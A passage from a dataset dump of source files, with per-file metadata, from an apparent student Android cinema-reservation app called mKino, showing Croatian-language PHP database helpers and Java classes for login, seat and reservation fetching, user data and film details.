{\r\n $this->conn->close();\r\n }\r\n \r\n }\r\n \r\n//******************************************************************************************************************//\r\n //Ova funkcija služi za brže izvršavanje sql upita\r\n function Upit($naredba) {\r\n /*$upit = new Upit();\r\n $upit->Izvrsi(\"SET CHARACTER SET utf8\");\r\n unset($upit);*/\r\n $upit = new Upit();\r\n $rezultat = $upit->Izvrsi($naredba);\r\n unset($upit);\r\n return $rezultat;\r\n }\r\n //transakcije\r\n function begin()\r\n {\r\n Upit(\"BEGIN\");\r\n }\r\n function commit()\r\n {\r\n Upit(\"COMMIT\");\r\n }\r\n function rollback()\r\n {\r\n Upit(\"ROLLBACK\");\r\n }\r\n //funkcija za izvršavanje transakcije\r\n function Transakcija($upit)\r\n {\r\n $rezultat = Upit($upit); \r\n \r\n if ($rezultat > 0)\r\n {\r\n // $rezultat->fetch_assoc(); \r\n return $rezultat;\r\n\r\n } else\r\n { \r\n //print_r($rezultat);\r\n $zapis = -6;\r\n return $zapis;\r\n }\r\n }\r\n\t\r\n\tfunction BrisanjeIzBaze($naredba)\r\n\t{\r\n\t\t$upit = new Upit();\r\n\t\t$upit->Izvrsi($naredba);\r\n\t\t\r\n\t\t$zapis = array();\r\n\t\tif ($upit->conn->affected_rows > 0)\r\n\t\t{\r\n\t\t\t$zapis[0] = array(\"povratnaInformacijaId\" => 0, \"povratnaInformacijaTekst\" => utf8_encode(\"Uspješno obrisano\"));\r\n\t\t} else\r\n\t\t{\r\n\t\t\t$zapis[0] = array(\"povratnaInformacijaId\" => -8, \"povratnaInformacijaTekst\" => utf8_encode(\"Ništa nije obrisano\"));\r\n\t\t}\r\n\t\t\r\n\t\treturn $zapis;\r\n\t}\r\n \r\n function UpitUBazu($upit)\r\n {\r\n $rezultat = Upit($upit);\r\n $zapisi = array();\r\n if ($rezultat->num_rows > 0)\r\n {\r\n while ($zapis = $rezultat->fetch_assoc())\r\n {\r\n $zapisi[] = $zapis;\r\n }\r\n \r\n return $zapisi;\r\n } else\r\n {\r\n $zapis = array();\r\n $zapis[0] = array(\"povratnaInformacijaId\" => 1, \"povratnaInformacijaTekst\" => utf8_encode(\"Nema zapisa\"));\r\n return $zapis;\r\n }\r\n }\r\n?>"},{"alpha_fraction":0.6906993389129639,"alphanum_fraction":0.6928622722625732,"avg_line_length":27.72142791748047,"blob_id":"b55fa5338f438c1e2ada8e50e2994150b6479b19","content_id":"597678c0fc59ff0fdd93607b43818c9e7ff607e3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":4173,"license_type":"no_license","max_line_length":153,"num_lines":140,"path":"/client-side/src/hr/air/mkino/server/JsonMojeRezervacije.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\n\r\nimport hr.air.mkino.baza.ProjekcijeAdapter;\r\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\r\nimport hr.air.mkino.tipovi.RezervacijaInfo;\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\nimport org.apache.http.client.methods.HttpGet;\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\nimport android.content.Context;\r\nimport android.os.AsyncTask;\r\n/**\r\n * Klasa koja služi za dohvaćanje korisničkih rezervacija sa web servisa.\r\n * @author bstivic\r\n *\r\n */\r\npublic class JsonMojeRezervacije extends AsyncTask<String, Void, String> {\r\n\t\r\n\tpublic List<RezervacijaInfo> dohvati(String korisnickoIme, Context c)\r\n\t{\t\t\t\t\t\r\n\t\tthis.execute(korisnickoIme);\r\n\t\tString jsonRezultat = \"\";\r\n\t\ttry {\r\n\t\t\tjsonRezultat = this.get();\r\n\t\t} catch (InterruptedException e) {\r\n\t\t\t\r\n\t\t\te.printStackTrace();\r\n\t\t} catch (ExecutionException e) {\r\n\t\t\t\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\treturn parsirajJson(jsonRezultat, c);\t\t\t\r\n\t}\r\n\r\n\t/**\r\n\t * Metoda koja služi za parsiranje json odgovora servera\r\n\t * @param jsonRezultat\r\n\t * @param context\r\n\t * @return lista rezervacija\r\n\t */\r\n\tprivate List<RezervacijaInfo> parsirajJson(String jsonRezultat, Context c) {\t\t\r\n\t\tList<RezervacijaInfo> rezervacija = new ArrayList<RezervacijaInfo>();\t\t\r\n\t\tProjekcijaInfo projekcija = null;\r\n\t\tProjekcijeAdapter projekcijaAdapter = new ProjekcijeAdapter(c);\r\n\t\ttry {\r\n\t\t\tint idRezervacije = 0 ;\r\n\t\t\tint idProjekcije = -6;\r\n\t\t\tint pomocniIdProjekcije = -7;\r\n\t\r\n\t\t\tList<Integer> sjedala = null;\r\n\t\t\tString kodRezervacije = null;\r\n\t\t\tJSONArray rezultati = new JSONArray(jsonRezultat);\r\n\t\t\t\t\r\n\t\t\tint n = rezultati.length();\r\n\t\t\tfor(int i=0; i<n; i++) \r\n\t\t\t{\r\n\t\t\t\tJSONObject rezultat = rezultati.getJSONObject(i);\r\n\t\t\t\tidProjekcije = rezultat.getInt(\"idProjekcije\");\r\n\t\t\t\t\r\n\t\t\t\t//uvjet će se izvršiti ukoliko imamo više sjedala za istu projekciju, pa ih unosimo u listu i nije potrebno upisivat već poznate podatke o pr0jekciji\r\n\t\t\t\tif(idProjekcije == pomocniIdProjekcije)\r\n\t\t\t\t{\r\n\t\t\t\t\tsjedala.add(rezultat.getInt(\"brojSjedala\"));\t\r\n\t\t\t\t\tif(i == n-1)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprojekcija = projekcijaAdapter.dohvatiProjekciju(idProjekcije, c);\r\n\t\t\t\t\t\trezervacija.add(new RezervacijaInfo(idRezervacije, idProjekcije, \"\", kodRezervacije, sjedala, projekcija));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t//inače se radi o drugoj projekciji pa je potrebno unijeti nove podatke\r\n\t\t\t\telse\r\n\t\t\t\t{\r\n\t\t\t\t\tif(i != 0)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tprojekcija = projekcijaAdapter.dohvatiProjekciju(pomocniIdProjekcije, c);\r\n\t\t\t\t\t\trezervacija.add(new RezervacijaInfo(idRezervacije, pomocniIdProjekcije, \"\", kodRezervacije, sjedala, projekcija));\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\tsjedala = new ArrayList<Integer>();\r\n\t\t\t\t\tidRezervacije = rezultat.getInt(\"idRezervacije\");\t\t\t\t\t\t\r\n\t\t\t\t\tkodRezervacije = rezultat.getString(\"kod\");\r\n\t\t\t\t\tsjedala.add(rezultat.getInt(\"brojSjedala\"));\t\r\n\t\t\t\t\tpomocniIdProjekcije = idProjekcije;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t}\t\t\t\r\n\t\tcatch (JSONException e) {\t\r\n\r\n\t\t\te.printStackTrace();\t\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\treturn rezervacija;\r\n\t}\r\n\r\n\t/**\r\n\t * Pomoćna metoda koja u pozadini obrađuje http zahtjev (dohvaćanje podataka)\r\n\t */\r\n\t@Override\r\n\tprotected String doInBackground(String... parametri) {\r\n\t\tString korisnik = parametri[0];\r\n\r\n\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t\tHttpGet httpZahtjev = new HttpGet(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=mr&korisnik=\"+korisnik);\r\n\t\t\r\n\t\tString jsonResult = \"\";\r\n\t\tResponseHandler<String> handler = new BasicResponseHandler();\r\n\t\t\r\n\t\ttry {\r\n\t\t\tjsonResult = httpKlijent.execute(httpZahtjev, handler);\r\n\t\t}\r\n\t\tcatch(ClientProtocolException e){\r\n\t\t\tString pogreska = e.toString();\r\n\t\t\te.printStackTrace();\r\n\t\t\r\n\t\t\tpogreska.charAt(0);\r\n\t\t}\r\n\t\tcatch(IOException e){\r\n\t\t\te.printStackTrace();\r\n\t\t}\r\n\t\t\r\n\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\r\n\t\treturn jsonResult;\r\n\t}\r\n\r\n}\r\n"},{"alpha_fraction":0.6810725331306458,"alphanum_fraction":0.6817034482955933,"avg_line_length":25.807018280029297,"blob_id":"20d06396c310df1bb88ece650ff6ad5fd607d3b0","content_id":"cad3a8f27087e23184e039026d858581218157cf","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":3180,"license_type":"no_license","max_line_length":140,"num_lines":114,"path":"/client-side/src/hr/air/mkino/server/JsonDohvatiSjedala.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport java.io.IOException;\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\n\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\n\r\nimport org.apache.http.client.methods.HttpGet;\r\n\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\n\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\n\r\nimport android.os.AsyncTask;\r\n/**\r\n * klasa koja služi za prijavu korisnika u sustav uz pomoć asinkrone komunikacije \r\n * između aplikacije i servisa koji provjerava da li postoji korisnik u bazi \r\n * podataka sa navedenim korisničkim imenom i lozinkom\r\n * @author bstivic\r\n * */\r\npublic class JsonDohvatiSjedala extends AsyncTask<Integer, List<Integer>, String> {\r\n\r\n\r\n\t\tpublic List<Integer> dohvatiSjedala(int idProjekcije)\r\n\t\t{\t\t\t\r\n\t\t\tthis.execute(idProjekcije);\r\n\t\t\tString jsonRezultat = \"\";\r\n\t\t\ttry {\r\n\t\t\t\tjsonRezultat = this.get();\r\n\t\t\t} catch (InterruptedException e) {\r\n\t\t\t\t\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t} catch (ExecutionException e) {\r\n\t\t\t\t\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn parsirajJson(jsonRezultat);\t\t\t\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * Parsira json string dohvaćen s web servisa\r\n\t\t * @param jsonRezultat\r\n\t\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \"\", ime, prezime, email, telefon) \r\n\t\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspjesna\r\n\t\t */\r\n\t\t\r\n\t\tprivate List<Integer> parsirajJson(String jsonRezultat) {\t\t\r\n\r\n\t\t\tList<Integer> listaZauzetih = new ArrayList<Integer>() ;\r\n\t\t\ttry {\r\n\t\t\t\t\tJSONArray rezultati = new JSONArray(jsonRezultat);\r\n\t\t\t\t\tint n = rezultati.length();\r\n\t\t\t\t\tfor(int i=0; i<n; i++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tJSONObject rezultat = rezultati.getJSONObject(i);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tString sjedaloStrng = rezultat.getString(\"brojSjedala\");\r\n\t\t\t\t\t\tlistaZauzetih.add(Integer.parseInt(sjedaloStrng));\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t}\t\t\t\r\n\t\t\tcatch (JSONException e) {\t\r\n\t\t\t/*\r\n\t\t\t * izvršava se ukoliko prijava nije uspješna, odnosno ne postoji\r\n\t\t\t * korisnik sa traženim korisničkim imenom i lozinkom\r\n\t\t\t * */\r\n\t\t\t\te.printStackTrace();\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn listaZauzetih;\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * Metoda za asinkronu komunikaciju između aplikacije i servisa.\r\n\t\t * @param korisnicko ime i lozinka u obliku ArrayList\r\n\t\t * @return odgovor servisa u json obliku\r\n\t\t * */\r\n\t\tprotected String doInBackground(Integer... idProjekcije) {\r\n\t\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t\t \r\n\t\t\tHttpGet httpGetZahtjev = new HttpGet(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=sjedalaProjekcija&projekcija=\"+idProjekcije[0]);\r\n\t\t\tString jsonResult = \"\";\r\n\t\t\tResponseHandler<String> handler = new BasicResponseHandler();\r\n\t\t\t\r\n\t\t\t\r\n\t\t\ttry {\t\t\t\r\n\t\t\t\t\t \r\n\t\t\t\tjsonResult = httpKlijent.execute(httpGetZahtjev, handler);\r\n\t\t\t}\r\n\t\t\tcatch(ClientProtocolException e){\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\tcatch(IOException e){\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\t\treturn jsonResult;\r\n\t\t}\r\n\r\n\t\r\n\r\n}\r\n"},{"alpha_fraction":0.6753926873207092,"alphanum_fraction":0.6753926873207092,"avg_line_length":16.365385055541992,"blob_id":"4ea68768c0376225ae6882162068ed3fbfb28d17","content_id":"970a30cd2a04d0b49c080f456e1008e0be682dd0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":956,"license_type":"no_license","max_line_length":85,"num_lines":52,"path":"/client-side/src/hr/air/mkino/tipovi/Korisnik.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.tipovi;\r\n\r\n/**\r\n * Klasa predstavlja složeni tip podataka koji opisuje pojedinog korisnika aplikacije\r\n * \r\n * */\r\npublic class Korisnik {\r\n\tprivate String korisnickoIme;\r\n\tprivate String lozinka;\r\n\tprivate String ime;\r\n\tprivate String prezime;\r\n\tprivate String email;\r\n\tprivate String telefon;\r\n\r\n\t\r\n\tpublic Korisnik(String korisnickoIme, String lozinka, String ime,\r\n\t\t\tString prezime, String email, String telefon) {\r\n\t\tthis.korisnickoIme = korisnickoIme;\r\n\t\tthis.lozinka = lozinka;\r\n\t\tthis.ime = ime;\r\n\t\tthis.prezime = prezime;\r\n\t\tthis.email = email;\r\n\t\tthis.telefon = telefon;\r\n\r\n\t}\r\n\t\r\n\tpublic String getKorisnickoIme()\r\n\t{\r\n\t\treturn korisnickoIme;\r\n\t}\r\n\tpublic String getLozinka()\r\n\t{\r\n\t\treturn lozinka;\r\n\t}\r\n\tpublic String getIme()\r\n\t{\r\n\t\treturn ime;\r\n\t}\r\n\tpublic String getPrezime()\r\n\t{\r\n\t\treturn prezime;\r\n\t}\r\n\tpublic String getEmail()\r\n\t{\r\n\t\treturn email;\r\n\t}\r\n\tpublic String getTelefon()\r\n\t{\r\n\t\treturn telefon;\r\n\t}\r\n\t\r\n}\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6917840242385864,\n \"alphanum_fraction\": 0.6927229762077332,\n \"avg_line_length\": 31.543306350708008,\n \"blob_id\": \"3382a9dd957f4735757d9e78353d4a9fe9a215ff\",\n \"content_id\": \"1c67a72d0b0192003e4fe8dc43408b396b1f8249\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 4277,\n \"license_type\": \"no_license\",\n \"max_line_length\": 105,\n \"num_lines\": 127,\n \"path\": \"/client-side/src/hr/air/mkino/server/JsonPrijava.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.server;\\r\\n\\r\\nimport java.io.IOException;\\r\\nimport java.util.ArrayList;\\r\\nimport java.util.List;\\r\\nimport java.util.concurrent.ExecutionException;\\r\\n\\r\\nimport org.apache.http.NameValuePair;\\r\\nimport org.apache.http.client.ClientProtocolException;\\r\\nimport org.apache.http.client.HttpClient;\\r\\nimport org.apache.http.client.ResponseHandler;\\r\\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\\r\\nimport org.apache.http.client.methods.HttpPost;\\r\\nimport org.apache.http.impl.client.BasicResponseHandler;\\r\\nimport org.apache.http.impl.client.DefaultHttpClient;\\r\\nimport org.apache.http.message.BasicNameValuePair;\\r\\nimport org.json.JSONArray;\\r\\nimport org.json.JSONException;\\r\\nimport org.json.JSONObject;\\r\\n\\r\\nimport hr.air.mkino.tipovi.Korisnik;\\r\\nimport android.os.AsyncTask;\\r\\n/**\\r\\n * klasa koja služi za prijavu korisnika u sustav uz pomoć asinkrone komunikacije \\r\\n * između aplikacije i servisa koji provjerava da li postoji korisnik u bazi \\r\\n * podataka sa navedenim korisničkim imenom i lozinkom\\r\\n * \\r\\n * */\\r\\npublic class JsonPrijava extends AsyncTask<String, Korisnik, String> {\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Metoda koja izvršava provjeru korisnika uz pomoć servisa\\r\\n\\t\\t * @param korisnicko ime i odgovarajuća lozinka\\r\\n\\t\\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \\\"\\\", ime, prezime, email, telefon) \\r\\n\\t\\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspješna\\r\\n\\t\\t */\\r\\n\\t\\tpublic Korisnik prijavi(String korisnickoIme, String lozinka)\\r\\n\\t\\t{\\t\\t\\t\\r\\n\\t\\t\\tthis.execute(korisnickoIme,lozinka );\\r\\n\\t\\t\\tString jsonRezultat = \\\"\\\";\\r\\n\\t\\t\\ttry {\\r\\n\\t\\t\\t\\tjsonRezultat = this.get();\\r\\n\\t\\t\\t} catch (InterruptedException e) {\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t} catch (ExecutionException e) {\\r\\n\\t\\t\\t\\t\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn parsirajJson(jsonRezultat);\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Parsira json string dohvaćen s web servisa\\r\\n\\t\\t * @param jsonRezultat\\r\\n\\t\\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \\\"\\\", ime, prezime, email, telefon) \\r\\n\\t\\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspjesna\\r\\n\\t\\t */\\r\\n\\t\\tprivate Korisnik parsirajJson(String jsonRezultat) {\\t\\t\\r\\n\\t\\t\\tKorisnik korisnik = null;\\r\\n\\t\\t\\t\\r\\n\\t\\t\\ttry {\\r\\n\\t\\t\\t\\t\\tJSONArray rezultati = new JSONArray(jsonRezultat);\\r\\n\\t\\t\\t\\t\\tint n = rezultati.length();\\r\\n\\t\\t\\t\\t\\tfor(int i=0; i<n; i++)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tJSONObject rezultat = rezultati.getJSONObject(i);\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t\\tString korisnickoIme = rezultat.getString(\\\"korisnickoIme\\\");\\r\\n\\t\\t\\t\\t\\t\\t/*lozinka se ne dohvaća putem web servisa*/\\r\\n\\t\\t\\t\\t\\t\\tString lozinka = \\\"\\\";\\r\\n\\t\\t\\t\\t\\t\\tString ime = rezultat.getString(\\\"ime\\\");\\r\\n\\t\\t\\t\\t\\t\\tString prezime = rezultat.getString(\\\"prezime\\\");\\r\\n\\t\\t\\t\\t\\t\\tString email = rezultat.getString(\\\"email\\\");\\r\\n\\t\\t\\t\\t\\t\\tString telefon = rezultat.getString(\\\"telefon\\\");\\r\\n\\t\\t\\t\\t\\t\\t/*unošenje primljenih korisničkih podataka u objekt*/\\r\\n\\t\\t\\t\\t\\t\\tkorisnik = new Korisnik(korisnickoIme, lozinka, ime, prezime, email, telefon);\\r\\n\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\t\\t\\t\\r\\n\\t\\t\\tcatch (JSONException e) {\\t\\r\\n\\t\\t\\t/*\\r\\n\\t\\t\\t * izvršava se ukoliko prijava nije uspješna, odnosno ne postoji\\r\\n\\t\\t\\t * korisnik sa traženim korisničkim imenom i lozinkom\\r\\n\\t\\t\\t * */\\r\\n\\t\\t\\t\\te.printStackTrace();\\t\\t\\t\\t\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\treturn korisnik;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\t/**\\r\\n\\t\\t * Metoda za asinkronu komunikaciju između aplikacije i servisa.\\r\\n\\t\\t * @param korisnicko ime i lozinka u obliku ArrayList\\r\\n\\t\\t * @return odgovor servisa u json obliku\\r\\n\\t\\t * */\\r\\n\\t\\tprotected String doInBackground(String... podaciPrijava) {\\r\\n\\t\\t\\tHttpClient httpKlijent = new DefaultHttpClient();\\r\\n\\t\\t \\r\\n\\t\\t\\tHttpPost httpPostZahtjev = new HttpPost(\\\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=prijava\\\");\\r\\n\\t\\t\\tString jsonResult = \\\"\\\";\\r\\n\\t\\t\\tResponseHandler<String> handler = new BasicResponseHandler();\\r\\n\\t\\t\\t\\r\\n\\t\\t\\t\\r\\n\\t\\t\\ttry {\\r\\n\\t\\t\\t\\tList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);\\r\\n\\t\\t\\t nameValuePairs.add(new BasicNameValuePair(\\\"korisnickoIme\\\", podaciPrijava[0]));\\r\\n\\t\\t\\t nameValuePairs.add(new BasicNameValuePair(\\\"lozinka\\\", podaciPrijava[1]));\\r\\n\\t\\t\\t \\r\\n\\t\\t\\t httpPostZahtjev.setEntity(new UrlEncodedFormEntity(nameValuePairs));\\t\\t\\t \\r\\n\\t\\t\\t\\tjsonResult = httpKlijent.execute(httpPostZahtjev, handler);\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tcatch(ClientProtocolException e){\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tcatch(IOException e){\\r\\n\\t\\t\\t\\te.printStackTrace();\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\t\\r\\n\\t\\t\\thttpKlijent.getConnectionManager().shutdown();\\r\\n\\t\\t\\treturn jsonResult;\\r\\n\\t\\t}\\r\\n\\r\\n\\t\\r\\n\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.7505054473876953,\n \"alphanum_fraction\": 0.7509098052978516,\n \"avg_line_length\": 36.640625,\n \"blob_id\": \"f864e450a6053149816001ae2ad2f2c43049eedf\",\n \"content_id\": \"0f33a36312dd114d680d4258c9b4b664f0a80c36\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 2479,\n \"license_type\": \"no_license\",\n \"max_line_length\": 135,\n \"num_lines\": 64,\n \"path\": \"/client-side/src/hr/air/mkino/DetaljiFilmaActivity.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino;\\r\\n\\r\\nimport hr.air.mkino.baza.FilmoviAdapter;\\r\\nimport hr.air.mkino.sucelja.ISlikaFilma;\\r\\nimport hr.air.mkino.tipovi.FilmInfo;\\r\\nimport hr.air.mkino.uzorcidizajna.UcitajSlikuFactory;\\r\\nimport android.app.Activity;\\r\\nimport android.content.Intent;\\r\\nimport android.os.Bundle;\\r\\nimport android.widget.ImageView;\\r\\nimport android.widget.TextView;\\r\\n\\r\\n/**\\r\\n * Ova klasa predstavlja detalje pojedinog filma.\\r\\n * @author domagoj\\r\\n *\\r\\n */\\r\\npublic class DetaljiFilmaActivity extends Activity {\\r\\n\\t@Override\\r\\n\\tprotected void onCreate(Bundle savedInstanceState) {\\r\\n\\t\\tsuper.onCreate(savedInstanceState);\\r\\n\\t\\tsetContentView(R.layout.activity_detalji_filma);\\r\\n\\t\\tsetTitle(\\\"Detalji filma\\\");\\r\\n\\t\\t\\r\\n\\t\\tFilmInfo detaljiFilma = dohvatiPodatkeZaFilm();\\r\\n\\t\\tprikaziPodatkeZaFilm(detaljiFilma);\\r\\n\\t}\\r\\n\\r\\n\\t/**\\r\\n\\t * Dohvaća podatke filma koji uključuju naziv, glavne uloge, autora itd.\\r\\n\\t * ID filma prima pomoću podataka iz intenta, koji su poslani klikom na film sa liste svih aktualnih filmova (klasa AkutalnoActivity).\\r\\n\\t * @return podaci o filmu\\r\\n\\t */\\r\\n\\tprivate FilmInfo dohvatiPodatkeZaFilm() {\\r\\n\\t\\tIntent i = getIntent();\\r\\n\\t\\tint idFilmaUBazi = i.getIntExtra(\\\"idFilmaUBazi\\\", 0);\\r\\n\\t\\t\\r\\n\\t\\tFilmoviAdapter fa = new FilmoviAdapter(this);\\r\\n\\t\\treturn fa.dohvatiDetaljeFilma(idFilmaUBazi);\\r\\n\\t}\\r\\n\\t\\r\\n\\t/**\\r\\n\\t * Ispisuje na zaslonu informacije sve dohvaćene o filmu, uključujući i sliku filma.\\r\\n\\t * @param detaljiFilma predstavlja informacije o filmu koje treba ispisati na zaslon\\r\\n\\t */\\r\\n\\tprivate void prikaziPodatkeZaFilm(FilmInfo detaljiFilma) {\\r\\n\\t\\tTextView naslov = (TextView) findViewById(R.id.naslov_filma);\\r\\n\\t\\tTextView trajanje = (TextView) findViewById(R.id.detalji_filma_trajanje);\\r\\n\\t\\tTextView zanr = (TextView) findViewById(R.id.detalji_filma_zanr);\\r\\n\\t\\tTextView redatelj = (TextView) findViewById(R.id.detalji_filma_redatelj);\\r\\n\\t\\tTextView glavneUloge = (TextView) findViewById(R.id.detalji_filma_glumci);\\r\\n\\t\\tTextView opis = (TextView) findViewById(R.id.detalji_filma_detalji);\\r\\n\\t\\tImageView slika = (ImageView) findViewById(R.id.slikaFilma);\\r\\n\\t\\t\\r\\n\\t\\tnaslov.setText(detaljiFilma.getNaziv());\\r\\n\\t\\ttrajanje.setText(detaljiFilma.getTrajanje() + \\\" minuta\\\");\\r\\n\\t\\tzanr.setText(detaljiFilma.getZanr());\\r\\n\\t\\tredatelj.setText(detaljiFilma.getRedatelj());\\r\\n\\t\\tglavneUloge.setText(detaljiFilma.getGlavneUloge());\\r\\n\\t\\topis.setText(detaljiFilma.getOpis());\\r\\n\\t\\tISlikaFilma sf = UcitajSlikuFactory.ucitaj(getBaseContext(), detaljiFilma.getIdFilma(), true);\\r\\n\\t\\tslika.setImageBitmap(sf.dohvatiVelikuSliku());\\r\\n\\t}\\r\\n}\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.6786172986030579,\n \"alphanum_fraction\": 0.6856849193572998,\n \"avg_line_length\": 38.74345397949219,\n \"blob_id\": \"4aa351ad559492b8e121ee055931ecaf0f57cf95\",\n \"content_id\": \"9ab4b526a6cb92e5d082842339272bb35df809c7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Java\",\n \"length_bytes\": 7814,\n \"license_type\": \"no_license\",\n \"max_line_length\": 106,\n \"num_lines\": 191,\n \"path\": \"/client-side/src/hr/air/mkino/core/Registracija.java\",\n \"repo_name\": \"dsitum/mKino\",\n \"src_encoding\": \"WINDOWS-1250\",\n \"text\": \"package hr.air.mkino.core;\\r\\n\\r\\nimport hr.air.mkino.R;\\r\\nimport hr.air.mkino.server.JsonRegistracija;\\r\\nimport hr.air.mkino.tipovi.Korisnik;\\r\\nimport android.app.Dialog;\\r\\nimport android.content.Context;\\r\\nimport android.view.View;\\r\\nimport android.view.Window;\\r\\nimport android.view.View.OnClickListener;\\r\\nimport android.widget.Button;\\r\\nimport android.widget.EditText;\\r\\nimport android.widget.Toast;\\r\\n/**\\r\\n * Klasa koja sadrži metode za prikazivanje obrasca za registraciju\\r\\n * */\\r\\npublic class Registracija {\\r\\n\\t/*konstante za označavanje identifikacijskog broja pogreške prilikom registracije*/\\r\\n\\tfinal static public int USPJESNA_REGISTRACIJA = 0; /*uspješna registracija */\\r\\n\\tfinal static public int PONOVLJENA_LOZINKA = 1; /*ponovljena lozinka nije jednaka*/\\r\\n\\tfinal static public int KORISNIK_POSTOJI = 4; /*korisnik već postoji */\\r\\n\\tfinal static public int EMAIL_POSTOJI = 5; /*email već postoji*/\\r\\n\\tfinal static public int TELEFON_POSTOJI = 6;\\t\\t /*telefonski broj već postoji */\\r\\n\\tfinal static public int NEUSPJESNO_REG = 7; /*neuspješno dodavanje kojemu je razlog nepoznat*/\\r\\n\\tfinal static public int KORIME_PRAZNO = 8; /*korisničko ime je prazno */\\r\\n\\tfinal static public int IME_PRAZNO = 9; /*ime je prazno*/\\r\\n\\tfinal static public int PREZIME_PRAZNO = 10; /*prezime je prazno*/\\r\\n\\tfinal static public int LOZINKA_PRAZNA = 11; /*lozinka je prazna*/\\r\\n\\tfinal static public int EMAIL_PRAZAN = 12; /*email je prazan*/\\r\\n\\tfinal static public int TELEFON_PRAZAN = 13; /*telefon je prazan*/\\r\\n\\t\\r\\n\\t \\r\\n\\t/** \\r\\n\\t * Metoda koja prikazuje obrazac za registraciju\\r\\n\\t * @param trenutni Context\\r\\n\\t * */\\r\\n\\tpublic void prikaziDijalog(final Context context) {\\r\\n\\t\\t/*otvori dijalog za registraciju*/\\r\\n\\t\\tfinal Dialog dialogRegistracija = new 